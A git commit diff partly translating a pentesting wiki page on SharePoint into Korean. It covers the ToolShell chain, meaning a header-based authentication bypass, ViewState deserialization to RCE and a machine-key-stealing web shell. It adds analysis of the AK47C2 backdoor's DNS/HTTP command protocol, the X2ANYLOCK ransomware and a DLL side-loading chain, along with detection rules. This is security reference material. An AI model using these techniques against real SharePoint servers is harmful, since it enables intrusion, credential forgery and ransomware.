Translated ['src/network-services-pentesting/pentesting-web/microsoft-sh

This commit is contained in:
Translator 2025-08-10 18:32:19 +00:00
parent be89077f0c
commit daf0d814a7

View File

@ -29,7 +29,7 @@ python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
### 2.2 CVE-2025-49706 부적절한 인증 우회
같은 페이지는 사이트 컨텍스트를 결정하기 위해 **X-Forms_BaseUrl** 헤더를 신뢰합니다. 이를 `/_layouts/15/`로 지정하면, 루트 사이트에서 강제된 MFA/SSO를 **인증되지 않은 상태**로 우회할 수 있습니다.
같은 페이지는 사이트 컨텍스트를 결정하기 위해 **X-Forms_BaseUrl** 헤더를 신뢰합니다. 이를 `/_layouts/15/`로 지정함으로써, 루트 사이트에서 강제되는 MFA/SSO를 **인증되지 않은 상태**로 우회할 수 있습니다.
### 2.3 CVE-2025-53770 인증되지 않은 ViewState 역직렬화 → RCE
@ -75,29 +75,79 @@ Response.Write(MachineKey.ValidationKey);
}
</script>
```
작성 대상:
작성:
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
쉘은 **머신 키를 읽고 회전하는** 엔드포인트를 노출하여 ViewState 및 ASPXAUTH 쿠키를 농장 전역에서 위조할 수 있게 합니다.
The shell exposes endpoints to **read / rotate machine keys** which allows forging ViewState and ASPXAUTH cookies across the farm.
### 3.3 난독화된 변형 (variation-3)
### 3.3 Obfuscated variant (variation-3)
같은 쉘이지만:
* `...\15\TEMPLATE\LAYOUTS\` 아래에 배치됨
Same shell but:
* `...\15\TEMPLATE\LAYOUTS\`에 배치됨
* 변수 이름이 단일 문자로 축소됨
* 샌드박스 회피 및 타이밍 기반 AV 우회를 위해 `Thread.Sleep(<ms>)` 추가됨.
## 4. 탐지 아이디어
### 3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)
| 텔레메트리 | 의심스러운 이유 |
최근 사건 대응 조사(Unit42 “Project AK47”)는 공격자들이 초기 RCE **후에** ToolShell 체인을 활용하여 SharePoint 환경에 이중 채널 C2 임플란트와 랜섬웨어를 배포하는 방법을 보여줍니다:
#### AK47C2 `dnsclient` variant
* 하드코딩된 DNS 서버: `10.7.66.10`이 권한 있는 도메인 `update.updatemicfosoft.com`과 통신.
* 메시지는 정적 키 `VHBD@H`로 XOR 암호화된 JSON 객체이며, 16진수로 인코딩되어 **서브 도메인 레이블**로 포함됨.
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
```
* 긴 쿼리는 청크로 나뉘고 `s`로 접두사가 붙은 후 서버 측에서 재조립됨.
* 서버는 동일한 XOR/hex 방식으로 TXT 레코드에서 응답:
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
```
* 버전 202504는 `<COMMAND>::<SESSION_KEY>`와 청크 마커 `1`, `2`, `a`의 단순화된 형식을 도입함.
#### AK47C2 `httpclient` variant
* 동일한 JSON 및 XOR 루틴을 재사용하지만 **HTTP POST 본문**에 16진수 블롭을 `libcurl`을 통해 전송함 (`CURLOPT_POSTFIELDS` 등).
* 임의의 셸 명령 실행을 허용하는 동일한 작업/결과 워크플로우.
* 동적 대기 간격 및 킬 스위치 지침.
#### X2ANYLOCK ransomware
* DLL 사이드 로딩을 통해 로드된 64비트 C++ 페이로드 (아래 참조).
* 파일 데이터에 AES-CBC를 사용하고 AES 키를 래핑하기 위해 RSA-2048을 사용한 후 확장자 `.x2anylock`을 추가.
* 로컬 드라이브와 발견된 SMB 공유를 재귀적으로 암호화하며, 시스템 경로는 건너뜀.
* 협상을 위한 정적 **Tox ID**를 포함한 평문 노트 `How to decrypt my data.txt`를 드롭.
* 내부 **킬 스위치** 포함:
```c
if (file_mod_time >= "2026-06-06") exit(0);
```
#### DLL side-loading chain
1. 공격자가 합법적인 `7z.exe` 옆에 `dllhijacked.dll`/`My7zdllhijacked.dll`를 작성함.
2. SharePoint에서 생성된 `w3wp.exe``7z.exe`를 실행하고, Windows 검색 순서 때문에 악성 DLL을 로드하여 메모리에서 랜섬웨어 진입점을 호출함.
3. 별도의 LockBit 로더가 관찰됨 (`bbb.msi``clink_x86.exe``clink_dll_x86.dll`)이 셸 코드를 복호화하고 `d3dl1.dll`에 **DLL 할로잉**을 수행하여 LockBit 3.0을 실행함.
> [!INFO]
> X2ANYLOCK에서 발견된 동일한 정적 Tox ID가 유출된 LockBit 데이터베이스에 나타나며, 제휴 중복을 시사함.
---
## 4. Detection ideas
| Telemetry | Why it is suspicious |
|-----------|----------------------|
| `w3wp.exe → cmd.exe` | 워커 프로세스는 드물게 쉘을 생성해야 함 |
| `w3wp.exe → cmd.exe` | 작업 프로세스가 셸을 생성하는 경우는 드뭄 |
| `cmd.exe → powershell.exe -EncodedCommand` | 고전적인 lolbin 패턴 |
| `debug_dev.js` 또는 `spinstall0.aspx` 파일 이벤트 생성 | ToolShell에서 직접 가져온 IOC |
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/모듈 로그) | 공개 PoC가 이 페이지를 호출함 |
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logs) | 공개 PoC가 이 페이지를 호출함 |
예시 XDR / Sysmon 규칙 (의사-XQL):
Example XDR / Sysmon rule (pseudo-XQL):
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
@ -111,7 +161,7 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
## 관련 트릭
* IIS 사후 활용 및 web.config 남용:
* IIS 포스트 익스플로잇 및 web.config 남용:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
@ -121,6 +171,7 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
- [Unit42 Microsoft SharePoint 취약점의 능동적 악용](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC ToolShell 익스플로잇 체인](https://github.com/real-or-not/ToolShell)
- [Microsoft 보안 권고 CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Unit42 Project AK47 / SharePoint 악용 및 랜섬웨어 활동](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
- [Microsoft 보안 권고 CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}